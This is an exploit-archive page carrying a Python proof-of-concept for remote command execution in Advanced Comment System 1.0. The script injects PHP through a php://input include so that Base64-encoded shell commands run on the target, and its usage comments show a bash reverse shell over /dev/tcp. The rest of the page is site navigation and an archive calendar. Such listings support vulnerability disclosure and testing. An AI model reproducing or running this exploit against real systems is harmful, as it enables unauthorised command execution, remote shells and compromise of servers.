exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Advanced Comment System 1.0 Remote Command Execution

Advanced Comment System 1.0 Remote Command Execution
Posted Dec 1, 2021
Authored by Nicole Daniella Murillo Mejias

Advanced Comment System version 1.0 suffers from a remote command execution vulnerability.

tags | exploit, remote
SHA-256 | c0a3ae4e6c5fc614a3b3493700cabba833cdc0542577e6cbd73ffbd226a7b2b9

Advanced Comment System 1.0 Remote Command Execution

Change Mirror Download
# Exploit Title: Advanced Comment System 1.0 - Remote Command Execution (RCE)
# Date: November 30, 2021
# Exploit Author: Nicole Daniella Murillo Mejias
# Version: Advanced Comment System 1.0
# Tested on: Linux

#!/usr/bin/env python3

# DESCRIPTION:
# Commands are Base64 encoded and sent via POST requests to the vulnerable application, the
# response is filtered by the randomly generated alphanumeric string and only command output
# is displayed.
#
# USAGE:
# Execute the script and pass the command to execute as arguments, they can be quoted or unquoted
# If any special characters are used, they should be quoted with single quotes.
#
# Example:
#
# python3 acspoc.py uname -a
# python3 acspoc.py 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'

import sys
import base64
import requests
import random

def generate_string(size):
str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
return ''.join(random.choice(str) for i in range(size))

def exploit(cmd):

# TODO: Change the URL to the target host
url = 'http://127.0.0.1/advanced_comment_system/index.php'

headers = {'Content-Type': 'application/x-www-form-urlencoded'}

encoded_cmd = base64.b64encode(cmd)

delimiter = generate_string(6).encode()

body = b'ACS_path=php://input%00&cbcmd='
body += encoded_cmd
body += b'&<?php echo " '
body += delimiter
body += b': ".shell_exec(base64_decode($_REQUEST["cbcmd"])); die ?>'

try:
result = requests.post(url=url, headers=headers, data=body)
except KeyboardInterrupt:
print("Keyboard interrupt detected.")
sys.exit()

if f'{delimiter.decode()}: ' in result.text:
position = result.text.find(f"{delimiter.decode()}:") + len(f"{delimiter.decode()}: ")

if len(result.text[position:]) > 0:
print(result.text[position:])
else:
print(f"No output from command '{cmd.decode()}'")
print(f"Response size from target host: {len(result.text)} bytes")

if __name__ == "__main__":
exploit(' '.join(sys.argv[1:]).encode())

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close